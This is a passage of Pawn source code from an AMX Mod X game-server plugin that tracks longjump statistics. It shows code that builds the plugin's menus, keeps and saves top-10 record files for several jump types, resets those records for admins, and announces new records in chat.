len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (no jumps)");
else
len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (disabled)");
keys = (1<<0|1<<1|1<<2);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r5. \wPrint plugin info");
if( !plugin_cvar )
keys = (1<<4);
else
keys |= (1<<4);
new flags = get_user_flags(id);
if( flags&ADMIN_MENU && (flags&ADMIN_CFG || flags&ADMIN_CVAR) )
len += format(MenuBody[len], 511-len, "^n^n^n\rAdmin menu^n");
if( flags&ADMIN_MENU )
{
if( flags&ADMIN_CFG )
{
len += format(MenuBody[len], 511-len, "^n\r6. \yServer configurations");
keys |= (1<<5);
}
if( flags&ADMIN_CVAR )
{
len += format(MenuBody[len], 511-len, "^n\r7. \yOne map config");
keys |= (1<<6);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "LongJump Stats Menu");
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public LjsMenu_Select(id, key)
{
switch((key+1))
{
case 1:
{
if( get_pcvar_num(kz_ljs_enabled) )
cmdColorChat(id);
cmdLjsMenu(id);
}
case 2:
{
if( get_pcvar_num(kz_ljs_enabled) )
cmdLjStats(id);
cmdLjsMenu(id);
}
case 3:
{
if( get_pcvar_num(kz_ljs_enabled) )
cmdSpeed(id);
cmdLjsMenu(id);
}
case 4:
{
if( get_pcvar_num(kz_ljs_enabled) )
cmdTopMenu(id);
else
cmdLjsMenu(id);
}
case 5: cmdVersion(id);
case 6:
{
if( get_user_flags(id)&ADMIN_CFG && get_user_flags(id)&ADMIN_MENU )
ColorChat(id, RED, "[XJ] Comming soon!");
else
cmdLjsMenu(id);
}
case 7:
{
if( get_user_flags(id)&ADMIN_CVAR && get_user_flags(id)&ADMIN_MENU )
ColorChat(id, BLUE, "[XJ] Comming soon!");
else
cmdLjsMenu(id);
}
}
return PLUGIN_HANDLED;
}
public read_tops()
{
static lj_filename[128], cj_filename[128], bj_filename[128], sbj_filename[128], wj_filename[128];
format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);
format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);
format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);
format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);
format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);
static distance[12], maxspeed[12], prestrafe[12], strafes[6], sync[6], line = 0, txtsize = 0, i;
line = 0;
if( file_exists(wj_filename) )
{
for( i = INFO_ZERO ; i < NTOP; i++ )
{
if( (line=read_file(wj_filename,line,wj_names[i],32,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,wj_authid[i],32,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,distance,11,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,maxspeed,11,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,prestrafe,11,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,strafes,5,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,sync,5,txtsize))!=0 )
{
if( (line=read_file(wj_filename,line,wj_pretype[i],31,txtsize))!=0 )
{
wj_distance[i] = str_to_num( distance );
wj_maxspeed[i] = str_to_num( maxspeed );
wj_prestrafe[i] = str_to_num( prestrafe );
wj_strafes[i] = str_to_num( strafes );
wj_sync[i] = str_to_num( sync );
}
}
}
}
}
}
}
}
else
break;
}
}
line = 0;
if( file_exists(lj_filename) )
{
for( i = INFO_ZERO ; i < NTOP; i++ )
{
if( (line=read_file(lj_filename,line,lj_names[i],32,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,lj_authid[i],32,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,distance,11,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,maxspeed,11,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,prestrafe,11,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,strafes,5,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,sync,5,txtsize))!=0 )
{
if( (line=read_file(lj_filename,line,lj_pretype[i],31,txtsize))!=0 )
{
lj_distance[i] = str_to_num( distance );
lj_maxspeed[i] = str_to_num( maxspeed );
lj_prestrafe[i] = str_to_num( prestrafe );
lj_strafes[i] = str_to_num( strafes );
lj_sync[i] = str_to_num( sync );
}
}
}
}
}
}
}
}
else
break;
}
}
line = 0;
if( file_exists(cj_filename) )
{
for( i = INFO_ZERO ; i < NTOP; i++ )
{
if( (line=read_file(cj_filename,line,cj_names[i],32,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,cj_authid[i],32,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,distance,11,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,maxspeed,11,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,prestrafe,11,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,strafes,5,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,sync,5,txtsize))!=0 )
{
if( (line=read_file(cj_filename,line,cj_pretype[i],31,txtsize))!=0 )
{
cj_distance[i] = str_to_num( distance );
cj_maxspeed[i] = str_to_num( maxspeed );
cj_prestrafe[i] = str_to_num( prestrafe );
cj_strafes[i] = str_to_num( strafes );
cj_sync[i] = str_to_num( sync );
}
}
}
}
}
}
}
}
else
break;
}
}
line = 0;
if( file_exists(bj_filename) )
{
for( i = INFO_ZERO ; i < NTOP; i++ )
{
if( (line=read_file(bj_filename,line,bj_names[i],32,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,bj_authid[i],32,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,distance,11,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,maxspeed,11,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,prestrafe,11,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,strafes,5,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,sync,5,txtsize))!=0 )
{
if( (line=read_file(bj_filename,line,bj_pretype[i],31,txtsize))!=0 )
{
bj_distance[i] = str_to_num( distance );
bj_maxspeed[i] = str_to_num( maxspeed );
bj_prestrafe[i] = str_to_num( prestrafe );
bj_strafes[i] = str_to_num( strafes );
bj_sync[i] = str_to_num( sync );
}
}
}
}
}
}
}
}
else
break;
}
}
line = 0;
if( file_exists(sbj_filename) )
{
for( i = INFO_ZERO ; i < NTOP; i++ )
{
if( (line=read_file(sbj_filename,line,sbj_names[i],32,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,sbj_authid[i],32,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,distance,11,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,maxspeed,11,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,prestrafe,11,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,strafes,5,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,sync,5,txtsize))!=0 )
{
if( (line=read_file(sbj_filename,line,sbj_pretype[i],31,txtsize))!=0 )
{
sbj_distance[i] = str_to_num( distance );
sbj_maxspeed[i] = str_to_num( maxspeed );
sbj_prestrafe[i] = str_to_num( prestrafe );
sbj_strafes[i] = str_to_num( strafes );
sbj_sync[i] = str_to_num( sync );
}
}
}
}
}
}
}
}
else
break;
}
}
return PLUGIN_HANDLED;
}
public topreset(id)
{
if( id == (is_dedicated_server()?0:1) || (get_user_flags(id)&ADMIN_RCON && tops_save) || (get_user_flags(id)&ADMIN_MAP && !tops_save) )
{
static lj_filename[128], cj_filename[128], bj_filename[128], sbj_filename[128], wj_filename[128];
format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);
format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);
format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);
format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);
format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);
if( file_exists(lj_filename) && tops_save )
delete_file(lj_filename);
if( file_exists(cj_filename) && tops_save )
delete_file(cj_filename);
if( file_exists(bj_filename) && tops_save )
delete_file(bj_filename);
if( file_exists(sbj_filename) && tops_save )
delete_file(sbj_filename);
if( file_exists(wj_filename) && tops_save )
delete_file(wj_filename);
static info_none[33], i;
info_none = "";
for( i = INFO_ZERO; i < NTOP; i++ )
{
format( map_names[i], 32, info_none );
format( map_authid[i], 32, info_none );
map_distance[i] = INFO_ZERO;
map_maxspeed[i] = INFO_ZERO;
map_prestrafe[i] = INFO_ZERO;
map_strafes[i] = INFO_ZERO;
map_sync[i] = INFO_ZERO;
format( map_type[i], 32, info_none );
format( lj_names[i], 32, info_none );
format( lj_authid[i], 32, info_none );
lj_distance[i] = INFO_ZERO;
lj_maxspeed[i] = INFO_ZERO;
lj_prestrafe[i] = INFO_ZERO;
lj_strafes[i] = INFO_ZERO;
lj_sync[i] = INFO_ZERO;
format( cj_names[i], 32, info_none );
format( cj_authid[i], 32, info_none );
cj_distance[i] = INFO_ZERO;
cj_maxspeed[i] = INFO_ZERO;
cj_prestrafe[i] = INFO_ZERO;
cj_strafes[i] = INFO_ZERO;
cj_sync[i] = INFO_ZERO;
format( bj_names[i], 32, info_none );
format( bj_authid[i], 32, info_none );
bj_distance[i] = INFO_ZERO;
bj_maxspeed[i] = INFO_ZERO;
bj_prestrafe[i] = INFO_ZERO;
bj_strafes[i] = INFO_ZERO;
bj_sync[i] = INFO_ZERO;
format( sbj_names[i], 32, info_none );
format( sbj_authid[i], 32, info_none );
sbj_distance[i] = INFO_ZERO;
sbj_maxspeed[i] = INFO_ZERO;
sbj_prestrafe[i] = INFO_ZERO;
sbj_strafes[i] = INFO_ZERO;
sbj_sync[i] = INFO_ZERO;
format( wj_names[i], 32, info_none );
format( wj_authid[i], 32, info_none );
wj_distance[i] = INFO_ZERO;
wj_maxspeed[i] = INFO_ZERO;
wj_prestrafe[i] = INFO_ZERO;
wj_strafes[i] = INFO_ZERO;
wj_sync[i] = INFO_ZERO;
}
static name[32], authid[32];
name = "";
authid = "";
get_user_name( id, name, 31 );
if( get_pcvar_num(kz_ljs_rank_by) == 1 )
get_user_authid( id, authid ,31 );
else
get_user_ip( id, authid, 31, 1);
log_amx("LjS: ^"%s<%d><%s>^" reseted ljtop", name, get_user_userid(id), authid);
console_print(id, "[XJ] LongJump top and rec reseted!");
client_print(0, print_chat, "[XJ] LongJump top and rec reseted!");
}
else
console_print(id, "%L", id, "NO_ACC_COM");
return PLUGIN_HANDLED;
}
public check_maintop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, type)
{
static jumptype[5], editional_top_n, rankby, top_num;
rankby = get_pcvar_num(kz_ljs_rank_by);
static name[33], authid[33];
get_user_name( id, name, 32 );
if( rankby == 1 )
get_user_authid(id, authid ,32);
else if( rankby == 2 )
get_user_ip(id, authid, 32, 1);
else
get_user_name(id, authid, 32);
editional_top_n = 0;
top_num = 0;
if( type == TYPE_WJ )
{
editional_top_n = check_wjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
jumptype = "wj";
if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) ) //TODO mb another cvar _c ?
{
top_num = 255;
}
if( tops_save && editional_top_n)
{
save_tops(TOP_WJ);
}
}
else if( type == TYPE_CJ )
{
editional_top_n = check_cjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
jumptype = "cj";
if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) )
{
top_num = 255;
}
if( tops_save && editional_top_n)
{
save_tops(TOP_CJ);
}
}
else if( type == TYPE_LJ || type == TYPE_HJ) //TODO: remove this after adding of hj top
{
editional_top_n = check_ljtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
jumptype = "lj";
if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) )
{
top_num = 255;
}
if( tops_save && editional_top_n)
{
save_tops(TOP_LJ);
}
}
else if( type == TYPE_BJ )
{
editional_top_n = check_bjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
jumptype = "bj";
if ( Distance > floatround(get_pcvar_float(kz_min_bhop_c)*1000000) )
{
top_num = 255;
}
if( tops_save && editional_top_n)
{
save_tops(TOP_BJ);
}
}
else if( type == TYPE_SBJ )
{
editional_top_n = check_sbjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
jumptype = "sbj";
if ( Distance > floatround(get_pcvar_float(kz_min_bhop_c)*1000000) )
{
top_num = 255;
}
if( tops_save && editional_top_n)
{
save_tops(TOP_SBJ);
}
}
//TODO: can be deprectaed to "top_num" from "top_num == 255"
if( top_num == 255 && Distance > map_distance[NSHOW-1] && get_pcvar_num(kz_ljs_maptop) )
{
top_num = 0;
static i;
for( i = INFO_ZERO; i < NSHOW; i++ )
{
if( Distance > map_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( map_authid[pos], authid ) && pos < NSHOW-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( map_names[j], 32, map_names[j-1] );
format( map_authid[j], 32, map_authid[j-1] );
map_distance[j] = map_distance[j-1];
map_maxspeed[j] = map_maxspeed[j-1];
map_prestrafe[j] = map_prestrafe[j-1];
map_strafes[j] = map_strafes[j-1];
map_sync[j] = map_sync[j-1];
format( map_type[j], 4, map_type[j-1] );
format( map_pretype[j], 31, map_pretype[j-1] );
}
format( map_names[i], 32, name );
format( map_authid[i], 32, authid );
map_distance[i] = Distance;
map_maxspeed[i] = MaxAirSpeed;
map_prestrafe[i] = MaxGroundSpeed;
map_strafes[i] = strafes;
map_sync[i] = sync;
format( map_type[i], 4, jumptype );
format( map_pretype[i], 31, pre_type[id] );
top_num = i+1;
break;
}
else if( equal( map_authid[i], authid ) )
{
top_num = 0;
break;
}
}
}
else
{
top_num = 0;
}
if( (get_pcvar_num(kz_ljs_tops) == 2 || get_pcvar_num(kz_ljs_tops) == 3) )
{
if( top_num && editional_top_n )
{
if (top_num == editional_top_n)
{
ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map^x04 & %s^x01 top with^x04 %d.%03d^x01 jump!", name, top_num, jumptype, (Distance/1000000), (Distance%1000000/1000));
}
else
{
ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map top &^x04 %d^x01 in^x04 %s^x01 top with^x04 %d.%03d^x01 jump!", name, top_num, editional_top_n, jumptype, (Distance/1000000), (Distance%1000000/1000));
}
}
else if( top_num && top_num < MAPSHOW )
{
ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map top with^x04 %d.%03d %s^x01 jump!", name, top_num, (Distance/1000000), (Distance%1000000), jumptype);
}
else if( editional_top_n && editional_top_n <= NSHOW )
{
ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in^x04 %s^x01 top with^x04 %d.%03d^x01 jump!", name, editional_top_n, jumptype, (Distance/1000000), (Distance%1000000));
}
}
}
public check_sbjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
static name[32], authid[32];
get_user_name( id, name, 31 );
if( rankby == 1 )
get_user_authid(id, authid ,31);
else if( rankby == 2 )
get_user_ip(id, authid, 31, 1);
else
get_user_name(id, authid, 31);
if( Distance > sbj_distance[NTOP-1] )
{
static i;
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( Distance > sbj_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( sbj_authid[pos], authid ) && pos < NTOP-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( sbj_names[j], 32, sbj_names[j-1] );
format( sbj_authid[j], 32, sbj_authid[j-1] );
sbj_distance[j] = sbj_distance[j-1];
sbj_maxspeed[j] = sbj_maxspeed[j-1];
sbj_prestrafe[j] = sbj_prestrafe[j-1];
sbj_strafes[j] = sbj_strafes[j-1];
sbj_sync[j] = sbj_sync[j-1];
format( sbj_pretype[j], 31, sbj_pretype[j-1] );
}
format( sbj_names[i], 32, name );
format( sbj_authid[i], 32, authid );
sbj_distance[i] = Distance;
sbj_maxspeed[i] = MaxAirSpeed;
sbj_prestrafe[i] = MaxGroundSpeed;
sbj_strafes[i] = strafes;
sbj_sync[i] = sync;
format( sbj_pretype[i], 31, pre_type[id] );
return (i+1);
}
else if( equal( sbj_authid[i], authid ) )
return 0;
}
}
return 0;
}
public check_wjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
static name[32], authid[32];
get_user_name( id, name, 31 );
if( rankby == 1 )
get_user_authid(id, authid ,31);
else if( rankby == 2 )
get_user_ip(id, authid, 31, 1);
else
get_user_name(id, authid, 31);
if( Distance > wj_distance[NTOP-1] )
{
static i;
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( Distance > wj_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( wj_authid[pos], authid ) && pos < NTOP-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( wj_names[j], 32, wj_names[j-1] );
format( wj_authid[j], 32, wj_authid[j-1] );
wj_distance[j] = wj_distance[j-1];
wj_maxspeed[j] = wj_maxspeed[j-1];
wj_prestrafe[j] = wj_prestrafe[j-1];
wj_strafes[j] = wj_strafes[j-1];
wj_sync[j] = wj_sync[j-1];
format( wj_pretype[j], 31, wj_pretype[j-1] );
}
format( wj_names[i], 32, name );
format( wj_authid[i], 32, authid );
wj_distance[i] = Distance;
wj_maxspeed[i] = MaxAirSpeed;
wj_prestrafe[i] = MaxGroundSpeed;
wj_strafes[i] = strafes;
wj_sync[i] = sync;
format( wj_pretype[i], 31, pre_type[id] );
return (i+1);
}
else if( equal( wj_authid[i], authid ) )
return 0;
}
}
return 0;
}
public check_bjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
static name[32], authid[32];
get_user_name( id, name, 31 );
if( rankby == 1 )
get_user_authid(id, authid ,31);
else if( rankby == 2 )
get_user_ip(id, authid, 31, 1);
else
get_user_name(id, authid, 31);
if( Distance > bj_distance[NTOP-1] )
{
static i;
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( Distance > bj_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( bj_authid[pos], authid ) && pos < NTOP-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( bj_names[j], 32, bj_names[j-1] );
format( bj_authid[j], 32, bj_authid[j-1] );
bj_distance[j] = bj_distance[j-1];
bj_maxspeed[j] = bj_maxspeed[j-1];
bj_prestrafe[j] = bj_prestrafe[j-1];
bj_strafes[j] = bj_strafes[j-1];
bj_sync[j] = bj_sync[j-1];
format( bj_pretype[j], 31, bj_pretype[j-1] );
}
format( bj_names[i], 32, name );
format( bj_authid[i], 32, authid );
bj_distance[i] = Distance;
bj_maxspeed[i] = MaxAirSpeed;
bj_prestrafe[i] = MaxGroundSpeed;
bj_strafes[i] = strafes;
bj_sync[i] = sync;
format( bj_pretype[i], 31, pre_type[id] );
return (i+1);
}
else if( equal( bj_authid[i], authid ) )
return 0;
}
}
return 0;
}
public check_cjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
static name[32], authid[32];
get_user_name( id, name, 31 );
if( rankby == 1 )
get_user_authid(id, authid ,31);
else if( rankby == 2 )
get_user_ip(id, authid, 31, 1);
else
get_user_name(id, authid, 31);
if( Distance > cj_distance[NTOP-1] )
{
static i;
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( Distance > cj_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( cj_authid[pos], authid ) && pos < NTOP-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( cj_names[j], 32, cj_names[j-1] );
format( cj_authid[j], 32, cj_authid[j-1] );
cj_distance[j] = cj_distance[j-1];
cj_maxspeed[j] = cj_maxspeed[j-1];
cj_prestrafe[j] = cj_prestrafe[j-1];
cj_strafes[j] = cj_strafes[j-1];
cj_sync[j] = cj_sync[j-1];
format( cj_pretype[j], 31, cj_pretype[j-1] );
}
format( cj_names[i], 32, name );
format( cj_authid[i], 32, authid );
cj_distance[i] = Distance;
cj_maxspeed[i] = MaxAirSpeed;
cj_prestrafe[i] = MaxGroundSpeed;
cj_strafes[i] = strafes;
cj_sync[i] = sync;
format( cj_pretype[i], 31, pre_type[id] );
return (i+1);
}
else if( equal( cj_authid[i], authid ) )
return 0;
}
}
return 0;
}
public check_ljtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
static name[32], authid[32];
get_user_name( id, name, 31 );
if( rankby == 1 )
get_user_authid(id, authid ,31);
else if( rankby == 2 )
get_user_ip(id, authid, 31, 1);
else
get_user_name(id, authid, 31);
if( Distance > lj_distance[NTOP-1] )
{
static i;
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( Distance > lj_distance[i] )
{
static pos, j;
pos = i;
j = 0;
while( !equal( lj_authid[pos], authid ) && pos < NTOP-1 )
pos++ ;
for( j = pos; j > i; j-- )
{
format( lj_names[j], 32, lj_names[j-1] );
format( lj_authid[j], 32, lj_authid[j-1] );
lj_distance[j] = lj_distance[j-1];
lj_maxspeed[j] = lj_maxspeed[j-1];
lj_prestrafe[j] = lj_prestrafe[j-1];
lj_strafes[j] = lj_strafes[j-1];
lj_sync[j] = lj_sync[j-1];
format( lj_pretype[j], 31, lj_pretype[j-1] );
}
format( lj_names[i], 32, name );
format( lj_authid[i], 32, authid );
lj_distance[i] = Distance;
lj_maxspeed[i] = MaxAirSpeed;
lj_prestrafe[i] = MaxGroundSpeed;
lj_strafes[i] = strafes;
lj_sync[i] = sync;
format( lj_pretype[i], 31, pre_type[id] );
return (i+1);
}
else if( equal( lj_authid[i], authid ) )
return 0;
}
}
return 0;
}
public save_tops(_top)
{
static i, distance[12], maxspeed[12], prestrafe[12], strafes[6], sync[6];
if (_top == TOP_LJ)
{
static lj_filename[128];
format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);
if( file_exists(lj_filename) )
delete_file(lj_filename);
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( lj_distance[i] )
{
num_to_str(lj_distance[i], distance, 11);
num_to_str(lj_maxspeed[i], maxspeed, 11);
num_to_str(lj_prestrafe[i], prestrafe, 11);
num_to_str(lj_strafes[i], strafes, 5);
num_to_str(lj_sync[i], sync, 5);
write_file(lj_filename, lj_names[i]);
write_file(lj_filename, lj_authid[i]);
write_file(lj_filename, distance);
write_file(lj_filename, maxspeed);
write_file(lj_filename, prestrafe);
write_file(lj_filename, strafes);
write_file(lj_filename, sync);
write_file(lj_filename, lj_pretype[i]);
}
}
}
else if (_top == TOP_CJ)
{
static cj_filename[128];
format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);
if( file_exists(cj_filename) )
delete_file(cj_filename);
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( cj_distance[i] )
{
num_to_str(cj_distance[i], distance, 11);
num_to_str(cj_maxspeed[i], maxspeed, 11);
num_to_str(cj_prestrafe[i], prestrafe, 11);
num_to_str(cj_strafes[i], strafes, 5);
num_to_str(cj_sync[i], sync, 5);
write_file(cj_filename, cj_names[i]);
write_file(cj_filename, cj_authid[i]);
write_file(cj_filename, distance);
write_file(cj_filename, maxspeed);
write_file(cj_filename, prestrafe);
write_file(cj_filename, strafes);
write_file(cj_filename, sync);
write_file(cj_filename, cj_pretype[i]);
}
}
}
else if (_top == TOP_WJ)
{
static wj_filename[128];
format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);
if( file_exists(wj_filename) )
delete_file(wj_filename);
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( wj_distance[i] )
{
num_to_str(wj_distance[i], distance, 11);
num_to_str(wj_maxspeed[i], maxspeed, 11);
num_to_str(wj_prestrafe[i], prestrafe, 11);
num_to_str(wj_strafes[i], strafes, 5);
num_to_str(wj_sync[i], sync, 5);
write_file(wj_filename, wj_names[i]);
write_file(wj_filename, wj_authid[i]);
write_file(wj_filename, distance);
write_file(wj_filename, maxspeed);
write_file(wj_filename, prestrafe);
write_file(wj_filename, strafes);
write_file(wj_filename, sync);
write_file(wj_filename, wj_pretype[i]);
}
}
}
else if (_top == TOP_BJ)
{
static bj_filename[128];
format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);
if( file_exists(bj_filename) )
delete_file(bj_filename);
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( bj_distance[i] )
{
num_to_str(bj_distance[i], distance, 11);
num_to_str(bj_maxspeed[i], maxspeed, 11);
num_to_str(bj_prestrafe[i], prestrafe, 11);
num_to_str(bj_strafes[i], strafes, 5);
num_to_str(bj_sync[i], sync, 5);
write_file(bj_filename, bj_names[i]);
write_file(bj_filename, bj_authid[i]);
write_file(bj_filename, distance);
write_file(bj_filename, maxspeed);
write_file(bj_filename, prestrafe);
write_file(bj_filename, strafes);
write_file(bj_filename, sync);
write_file(bj_filename, bj_pretype[i]);
}
}
}
else if (_top == TOP_SBJ)
{
static sbj_filename[128];
format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);
if( file_exists(sbj_filename) )
delete_file(sbj_filename);
for( i = INFO_ZERO; i < NTOP; i++ )
{
if( sbj_distance[i] )
{
num_to_str(sbj_distance[i], distance, 11);
num_to_str(sbj_maxspeed[i], maxspeed, 11);
num_to_str(sbj_prestrafe[i], prestrafe, 11);
num_to_str(sbj_strafes[i], strafes, 5);
num_to_str(sbj_sync[i], sync, 5);
write_file(sbj_filename, sbj_names[i]);
write_file(sbj_filename, sbj_authid[i]);
write_file(sbj_filename, distance);
write_file(sbj_filename, maxspeed);
write_file(sbj_filename, prestrafe);
write_file(sbj_filename, strafes);
write_file(sbj_filename, sync);
write_file(sbj_filename, sbj_pretype[i]);
}
}
}
}
public show_leet_ljumper(id)
{
new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "\yShow best longjumper^n");
if( map_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r1. \wMap record");
keys = (1<<0);
}
else
len += format(MenuBody[len], 511-len, "^n\r1. \dMap record (no jumps)");
if( lj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r2. \wLongJump record");
keys |= (1<<1);
}
else
len += format(MenuBody[len], 511-len, "^n\r2. \dLongJump record (no ljs)");
if( cj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r3. \wContJump record");
keys |= (1<<2);
}
else
len += format(MenuBody[len], 511-len, "^n\r3. \dContJump record (no cjs)");
if( bj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r4. \wBhopJump record");
keys |= (1<<3);
}
else
len += format(MenuBody[len], 511-len, "^n\r4. \dBhopJump record (no bjs)");
if( sbj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r5. \wStand-up BhopJump record");
keys |= (1<<4);
}
else
len += format(MenuBody[len], 511-len, "^n\r5. \dStand-up BhopJump record (no sbjs)");
if( wj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r6. \wWeirdJump record");
keys |= (1<<5);
}
else
len += format(MenuBody[len], 511-len, "^n\r6. \dWeirdJump record (no wjs)");
len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "Show best longjumper");
}
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin is disabled.");
else
client_print(id, print_chat, "[XJ] Records are not valid. Tops are disabled.");
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public LeetJumpMenu_Select(id, key)
{
new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
new ljtops = get_pcvar_num(kz_ljs_tops);
if( ljtops == 2 || ljtops == 3 )
ljtops = 1;
else
ljtops = 0;
switch((key+1))
{
case 1:
{
if( map_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the total %d.%06d %s record!", map_names[0], map_distance[0]/1000000, map_distance[0]%1000000, map_type[0]);
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been reseted.");
}
case 2:
{
if( lj_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the %d.%06d lj record!", lj_names[0], lj_distance[0]/1000000, lj_distance[0]%1000000);
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Lj records are not valid. Tops have been reseted.");
}
case 3:
{
if( cj_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the %d.%06d cj record!", cj_names[0], cj_distance[0]/1000000, cj_distance[0]%1000000);
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
else if( !ljtops )
client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Cj records are not valid. Tops have been reseted.");
}
case 4:
{
if( bj_distance[0] && ljtops && plugin_cvar )
client_print(id, print_chat, "[XJ] %s has the %d.%06d bj record!", bj_names[0], bj_distance[0]/1000000, bj_distance[0]%1000000);
